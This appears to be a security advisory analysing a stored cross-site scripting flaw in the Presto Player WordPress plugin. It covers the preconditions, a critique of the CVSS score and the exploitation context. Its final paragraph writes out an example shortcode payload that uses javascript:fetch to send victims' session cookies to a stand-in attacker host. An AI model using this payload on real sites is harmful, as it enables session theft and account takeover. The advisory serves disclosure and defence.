Presto Player EUVD-2026-36372

Exploitation requires an authenticated WordPress account at contributor level or above on the target installation - the attack vector is fully blocked for unauthenticated users. The Presto Player plugin must be installed, active, and running version 4.2.0 or earlier. A victim must navigate to a published post or page that contains the attacker's [presto_player_overlay] shortcode with a javascript: URI injected into the link_url attribute; payload execution occurs when the presto-dynamic-overlay-ui web component renders the resulting anchor element in the victim's browser. Limiting factors include: the mandatory contributor authentication prerequisite (blocking automated or unauthenticated exploitation at scale); the requirement that the attacker-controlled content be published and accessible to the victim; and the need for the victim's browser to render the overlay component (disabled JavaScript or CSP headers blocking inline scripts could mitigate impact but are non-default configurations).

The supplied CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, score 6.4) contains a notable inconsistency: UI:N (no user interaction) is atypical for stored XSS, which by definition requires a victim to navigate to the injected page - conventionally scored UI:R. An independent assessment using UI:R produces a score of approximately 5.4 (Medium), a more accurate reflection of exploitation mechanics. The S:C (Scope Changed) designation is correct, as JavaScript executes in the victim's browser security context, separate from the web application. EPSS data is absent from available intelligence, and the vulnerability is not listed in CISA KEV, indicating no confirmed active exploitation. No public proof-of-concept has been identified. Real-world risk is bounded primarily by the PR:L requirement - a valid WordPress contributor account is necessary, which prevents unauthenticated mass exploitation; however, this threshold is routinely met in multi-author blogs, client sites with content editors, or sites with compromised low-privilege accounts. The C:L/I:L ceiling reflects classic stored XSS capability: session token theft, phishing overlays, and malicious redirects rather than direct server compromise.

An attacker with a contributor account on a target WordPress site running Presto Player ≤ 4.2.0 creates a post containing [presto_player_overlay link_url="javascript:fetch('https://attacker.example/c?d='+document.cookie)"], which is saved and published via normal editorial workflow. When any user - including administrators - loads that post and the presto-dynamic-overlay-ui component renders the anchor element, the payload silently exfiltrates the victim's session cookie to the attacker-controlled endpoint. No public proof-of-concept has been identified at time of analysis.